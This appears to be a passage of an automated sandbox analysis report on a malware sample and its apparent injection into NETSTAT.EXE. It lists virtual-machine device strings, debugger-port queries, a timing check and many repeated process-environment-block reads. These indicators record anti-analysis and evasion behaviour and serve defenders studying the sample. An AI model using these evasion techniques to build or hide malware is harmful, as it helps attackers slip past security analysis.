Source: 6KdTCZit4e.exe	Binary or memory string: DdUXhZQ[fUE6Ws]YTSk6WLInYD73f[o5QsEYYq{nV]8XY[8XVpEzfoQZd5M[]WMZ][<IgogJD}4pfy]3[3Y5]DL[]}Y4[3Y5]D75esU[\moJezE[TiU[]qET]m8Z\3QqeMU[]K<IgogJD\|YJg4E[eyQ3[3Y5]DL6e3Q5\xDjfoUZd5<pfTU6\osp\SQ[]mopg\|Y5XlY5Y843[wEjfoUZd5<pfTU6\osp\SQ[e\|<pU843[wEjfoQ[YDL[]nopgyMKX3QZ
Source: explorer.exe, 00000008.00000000.748027302.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.748412391.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000008.00000000.778347337.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000008.00000000.741348182.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000008.00000000.748412391.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000008.00000000.741348182.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000008.00000000.748506664.000000000A77F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000008.00000000.741348182.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Code function: 7_2_00409A90 rdtsc

7_2_00409A90

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Code function: 7_2_0040ACD0 LdrLoadDll,

7_2_0040ACD0

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8ED6 mov eax, dword ptr fs:[00000030h]	13_2_02DF8ED6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D68EC7 mov eax, dword ptr fs:[00000030h]	13_2_02D68EC7
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D536CC mov eax, dword ptr fs:[00000030h]	13_2_02D536CC
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DDFEC0 mov eax, dword ptr fs:[00000030h]	13_2_02DDFEC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D376E2 mov eax, dword ptr fs:[00000030h]	13_2_02D376E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D516E0 mov ecx, dword ptr fs:[00000030h]	13_2_02D516E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5D294 mov eax, dword ptr fs:[00000030h]	13_2_02D5D294
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5D294 mov eax, dword ptr fs:[00000030h]	13_2_02D5D294
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBFE87 mov eax, dword ptr fs:[00000030h]	13_2_02DBFE87
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3AAB0 mov eax, dword ptr fs:[00000030h]	13_2_02D3AAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3AAB0 mov eax, dword ptr fs:[00000030h]	13_2_02D3AAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5FAB0 mov eax, dword ptr fs:[00000030h]	13_2_02D5FAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D252A5 mov eax, dword ptr fs:[00000030h]	13_2_02D252A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D252A5 mov eax, dword ptr fs:[00000030h]	13_2_02D252A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D252A5 mov eax, dword ptr fs:[00000030h]	13_2_02D252A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D252A5 mov eax, dword ptr fs:[00000030h]	13_2_02D252A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D252A5 mov eax, dword ptr fs:[00000030h]	13_2_02D252A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF0EA5 mov eax, dword ptr fs:[00000030h]	13_2_02DF0EA5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF0EA5 mov eax, dword ptr fs:[00000030h]	13_2_02DF0EA5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF0EA5 mov eax, dword ptr fs:[00000030h]	13_2_02DF0EA5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA46A7 mov eax, dword ptr fs:[00000030h]	13_2_02DA46A7
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DB4257 mov eax, dword ptr fs:[00000030h]	13_2_02DB4257
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29240 mov eax, dword ptr fs:[00000030h]	13_2_02D29240
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29240 mov eax, dword ptr fs:[00000030h]	13_2_02D29240
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29240 mov eax, dword ptr fs:[00000030h]	13_2_02D29240
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29240 mov eax, dword ptr fs:[00000030h]	13_2_02D29240
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D37E41 mov eax, dword ptr fs:[00000030h]	13_2_02D37E41
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4AE73 mov eax, dword ptr fs:[00000030h]	13_2_02D4AE73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4AE73 mov eax, dword ptr fs:[00000030h]	13_2_02D4AE73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4AE73 mov eax, dword ptr fs:[00000030h]	13_2_02D4AE73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4AE73 mov eax, dword ptr fs:[00000030h]	13_2_02D4AE73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4AE73 mov eax, dword ptr fs:[00000030h]	13_2_02D4AE73
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6927A mov eax, dword ptr fs:[00000030h]	13_2_02D6927A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DDB260 mov eax, dword ptr fs:[00000030h]	13_2_02DDB260
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DDB260 mov eax, dword ptr fs:[00000030h]	13_2_02DDB260
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8A62 mov eax, dword ptr fs:[00000030h]	13_2_02DF8A62
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3766D mov eax, dword ptr fs:[00000030h]	13_2_02D3766D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D43A1C mov eax, dword ptr fs:[00000030h]	13_2_02D43A1C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2C600 mov eax, dword ptr fs:[00000030h]	13_2_02D2C600
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2C600 mov eax, dword ptr fs:[00000030h]	13_2_02D2C600
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2C600 mov eax, dword ptr fs:[00000030h]	13_2_02D2C600
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DDFE3F mov eax, dword ptr fs:[00000030h]	13_2_02DDFE3F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2E620 mov eax, dword ptr fs:[00000030h]	13_2_02D2E620
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D637F5 mov eax, dword ptr fs:[00000030h]	13_2_02D637F5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5B390 mov eax, dword ptr fs:[00000030h]	13_2_02D5B390
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7794 mov eax, dword ptr fs:[00000030h]	13_2_02DA7794
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7794 mov eax, dword ptr fs:[00000030h]	13_2_02DA7794
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7794 mov eax, dword ptr fs:[00000030h]	13_2_02DA7794
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE138A mov eax, dword ptr fs:[00000030h]	13_2_02DE138A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D31B8F mov eax, dword ptr fs:[00000030h]	13_2_02D31B8F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D31B8F mov eax, dword ptr fs:[00000030h]	13_2_02D31B8F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DDD380 mov ecx, dword ptr fs:[00000030h]	13_2_02DDD380
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF5BA5 mov eax, dword ptr fs:[00000030h]	13_2_02DF5BA5
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8B58 mov eax, dword ptr fs:[00000030h]	13_2_02DF8B58
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2F358 mov eax, dword ptr fs:[00000030h]	13_2_02D2F358
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2DB40 mov eax, dword ptr fs:[00000030h]	13_2_02D2DB40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3EF40 mov eax, dword ptr fs:[00000030h]	13_2_02D3EF40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D53B7A mov eax, dword ptr fs:[00000030h]	13_2_02D53B7A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D53B7A mov eax, dword ptr fs:[00000030h]	13_2_02D53B7A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2DB60 mov ecx, dword ptr fs:[00000030h]	13_2_02D2DB60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3FF60 mov eax, dword ptr fs:[00000030h]	13_2_02D3FF60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8F6A mov eax, dword ptr fs:[00000030h]	13_2_02DF8F6A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE131B mov eax, dword ptr fs:[00000030h]	13_2_02DE131B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBFF10 mov eax, dword ptr fs:[00000030h]	13_2_02DBFF10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBFF10 mov eax, dword ptr fs:[00000030h]	13_2_02DBFF10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF070D mov eax, dword ptr fs:[00000030h]	13_2_02DF070D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF070D mov eax, dword ptr fs:[00000030h]	13_2_02DF070D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5E730 mov eax, dword ptr fs:[00000030h]	13_2_02D5E730
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D24F2E mov eax, dword ptr fs:[00000030h]	13_2_02D24F2E
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D24F2E mov eax, dword ptr fs:[00000030h]	13_2_02D24F2E
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8CD6 mov eax, dword ptr fs:[00000030h]	13_2_02DF8CD6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov eax, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov ecx, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov eax, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov eax, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov eax, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBB8D0 mov eax, dword ptr fs:[00000030h]	13_2_02DBB8D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE14FB mov eax, dword ptr fs:[00000030h]	13_2_02DE14FB
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6CF0 mov eax, dword ptr fs:[00000030h]	13_2_02DA6CF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6CF0 mov eax, dword ptr fs:[00000030h]	13_2_02DA6CF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6CF0 mov eax, dword ptr fs:[00000030h]	13_2_02DA6CF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29080 mov eax, dword ptr fs:[00000030h]	13_2_02D29080
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA3884 mov eax, dword ptr fs:[00000030h]	13_2_02DA3884
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA3884 mov eax, dword ptr fs:[00000030h]	13_2_02DA3884
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5F0BF mov ecx, dword ptr fs:[00000030h]	13_2_02D5F0BF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5F0BF mov eax, dword ptr fs:[00000030h]	13_2_02D5F0BF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5F0BF mov eax, dword ptr fs:[00000030h]	13_2_02D5F0BF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D690AF mov eax, dword ptr fs:[00000030h]	13_2_02D690AF
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D40050 mov eax, dword ptr fs:[00000030h]	13_2_02D40050
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D40050 mov eax, dword ptr fs:[00000030h]	13_2_02D40050
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBC450 mov eax, dword ptr fs:[00000030h]	13_2_02DBC450
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DBC450 mov eax, dword ptr fs:[00000030h]	13_2_02DBC450
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF1074 mov eax, dword ptr fs:[00000030h]	13_2_02DF1074
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE2073 mov eax, dword ptr fs:[00000030h]	13_2_02DE2073
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4746D mov eax, dword ptr fs:[00000030h]	13_2_02D4746D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF4015 mov eax, dword ptr fs:[00000030h]	13_2_02DF4015
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF4015 mov eax, dword ptr fs:[00000030h]	13_2_02DF4015
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7016 mov eax, dword ptr fs:[00000030h]	13_2_02DA7016
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7016 mov eax, dword ptr fs:[00000030h]	13_2_02DA7016
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA7016 mov eax, dword ptr fs:[00000030h]	13_2_02DA7016
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6C0A mov eax, dword ptr fs:[00000030h]	13_2_02DA6C0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6C0A mov eax, dword ptr fs:[00000030h]	13_2_02DA6C0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6C0A mov eax, dword ptr fs:[00000030h]	13_2_02DA6C0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA6C0A mov eax, dword ptr fs:[00000030h]	13_2_02DA6C0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF740D mov eax, dword ptr fs:[00000030h]	13_2_02DF740D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF740D mov eax, dword ptr fs:[00000030h]	13_2_02DF740D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF740D mov eax, dword ptr fs:[00000030h]	13_2_02DF740D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1C06 mov eax, dword ptr fs:[00000030h]	13_2_02DE1C06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3B02A mov eax, dword ptr fs:[00000030h]	13_2_02D3B02A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3B02A mov eax, dword ptr fs:[00000030h]	13_2_02D3B02A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3B02A mov eax, dword ptr fs:[00000030h]	13_2_02D3B02A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3B02A mov eax, dword ptr fs:[00000030h]	13_2_02D3B02A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5BC2C mov eax, dword ptr fs:[00000030h]	13_2_02D5BC2C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DD8DF1 mov eax, dword ptr fs:[00000030h]	13_2_02DD8DF1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2B1E1 mov eax, dword ptr fs:[00000030h]	13_2_02D2B1E1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2B1E1 mov eax, dword ptr fs:[00000030h]	13_2_02D2B1E1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2B1E1 mov eax, dword ptr fs:[00000030h]	13_2_02D2B1E1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DB41E8 mov eax, dword ptr fs:[00000030h]	13_2_02DB41E8
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3D5E0 mov eax, dword ptr fs:[00000030h]	13_2_02D3D5E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3D5E0 mov eax, dword ptr fs:[00000030h]	13_2_02D3D5E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5FD9B mov eax, dword ptr fs:[00000030h]	13_2_02D5FD9B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5FD9B mov eax, dword ptr fs:[00000030h]	13_2_02D5FD9B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5A185 mov eax, dword ptr fs:[00000030h]	13_2_02D5A185
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4C182 mov eax, dword ptr fs:[00000030h]	13_2_02D4C182
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D22D8A mov eax, dword ptr fs:[00000030h]	13_2_02D22D8A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D22D8A mov eax, dword ptr fs:[00000030h]	13_2_02D22D8A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D22D8A mov eax, dword ptr fs:[00000030h]	13_2_02D22D8A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D22D8A mov eax, dword ptr fs:[00000030h]	13_2_02D22D8A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D22D8A mov eax, dword ptr fs:[00000030h]	13_2_02D22D8A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D535A1 mov eax, dword ptr fs:[00000030h]	13_2_02D535A1
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D47D50 mov eax, dword ptr fs:[00000030h]	13_2_02D47D50
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4B944 mov eax, dword ptr fs:[00000030h]	13_2_02D4B944
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4B944 mov eax, dword ptr fs:[00000030h]	13_2_02D4B944
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D63D43 mov eax, dword ptr fs:[00000030h]	13_2_02D63D43
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DA3540 mov eax, dword ptr fs:[00000030h]	13_2_02DA3540
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2B171 mov eax, dword ptr fs:[00000030h]	13_2_02D2B171
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2B171 mov eax, dword ptr fs:[00000030h]	13_2_02D2B171
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4C577 mov eax, dword ptr fs:[00000030h]	13_2_02D4C577
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D4C577 mov eax, dword ptr fs:[00000030h]	13_2_02D4C577
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2C962 mov eax, dword ptr fs:[00000030h]	13_2_02D2C962
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29100 mov eax, dword ptr fs:[00000030h]	13_2_02D29100
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29100 mov eax, dword ptr fs:[00000030h]	13_2_02D29100
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D29100 mov eax, dword ptr fs:[00000030h]	13_2_02D29100
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2AD30 mov eax, dword ptr fs:[00000030h]	13_2_02D2AD30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D33D34 mov eax, dword ptr fs:[00000030h]	13_2_02D33D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF8D34 mov eax, dword ptr fs:[00000030h]	13_2_02DF8D34
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DAA537 mov eax, dword ptr fs:[00000030h]	13_2_02DAA537
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D54D3B mov eax, dword ptr fs:[00000030h]	13_2_02D54D3B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D54D3B mov eax, dword ptr fs:[00000030h]	13_2_02D54D3B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D54D3B mov eax, dword ptr fs:[00000030h]	13_2_02D54D3B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5513A mov eax, dword ptr fs:[00000030h]	13_2_02D5513A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5513A mov eax, dword ptr fs:[00000030h]	13_2_02D5513A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120 mov eax, dword ptr fs:[00000030h]	13_2_02D44120
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120 mov eax, dword ptr fs:[00000030h]	13_2_02D44120
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120 mov eax, dword ptr fs:[00000030h]	13_2_02D44120
